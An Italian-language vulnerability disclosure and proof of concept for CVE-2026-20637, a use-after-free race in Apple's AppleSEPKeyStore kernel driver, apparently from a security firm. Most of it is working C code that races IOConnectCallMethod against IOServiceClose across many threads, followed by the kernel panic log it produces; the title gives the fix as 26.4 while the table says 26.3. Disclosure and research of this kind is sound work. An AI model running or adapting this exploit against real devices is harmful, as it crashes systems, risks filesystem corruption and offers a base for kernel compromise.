
CVE-2026-20637: AppleSEPKeyStore Use-After-Free — vulnerabilità del kernel iOS/macOS (corretta nella 26.4)
CVE-2026-20637 · Enfilade · enfilade.io
Componente: AppleKeyStore
Impatto: Un'app potrebbe essere in grado di causare una terminazione imprevista del sistema.
Descrizione: Un problema di use-after-free è stato risolto con una migliore gestione della memoria.
| iOS | 26.1 – 26.2 (testato) |
| macOS | 26.1 – 26.2 (testato) |
| Componente | com.apple.driver.AppleSEPKeyStore |
| Corretto | iOS 26.3 / iPadOS 26.3 |
Apple potrebbe aver corretto il problema in modo incrementale tra 26.2.1 e 26.3, quindi le build intermedie potrebbero non riprodurre il bug.
L'esecuzione del PoC causerà un kernel panic del dispositivo. Salva il tuo lavoro prima di eseguirlo. Panic ripetuti possono causare corruzione del filesystem. Solo per scopi di ricerca sulla sicurezza.
Use-after-free in IOCommandGate innescato tramite una race condition in AppleKeyStore. Otto thread chiamanti martellano IOConnectCallMethod sui selettori 0–15 mentre quattro thread di chiusura competono su IOServiceClose, creando una finestra in cui il command gate viene acceduto dopo essere stato liberato.
#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS 8
#define NUM_CLOSERS 4
#define NUM_ITERATIONS 100000
static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;
// 8 thread chiamanti: martellano IOConnectCallMethod (priorità alta)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
for (uint32_t sel = 0; sel < 16; sel++) {
IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
}
}
// 4 thread di chiusura: competono su IOServiceClose (priorità alta)
while (!done) {
io_connect_t conn = atomic_load(&g_conn);
if (conn == IO_OBJECT_NULL) continue;
IOServiceClose(conn);
atomic_store(&g_conn, IO_OBJECT_NULL);
}
// Thread principale: 100k connessioni, nessun ritardo
for (int i = 0; i < NUM_ITERATIONS; i++) {
uint32_t type = (i % 4 == 0) ? 0x2022
: (i % 4 == 1) ? 0xbeef
: (i % 4 == 2) ? 0x1337
: 0x4141;
IOServiceOpen(svc, mach_task_self(), type, &conn);
atomic_store(&g_conn, conn);
// NESSUN RITARDO — finestra di race ristretta
}
ios-app/Test.xcodeproj in Xcode.panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
(off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
72: 0xfffffffffffffe00
Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
root:xnu-12377.42.6~55/RELEASE_ARM64_T8030
Panicked task 0xffffffe5b4f1e820: pid 956: Test
Kernel Extensions in backtrace:
com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
@0xfffffff016a47020->0xfffffff016a84f9f
Vedi LICENSE.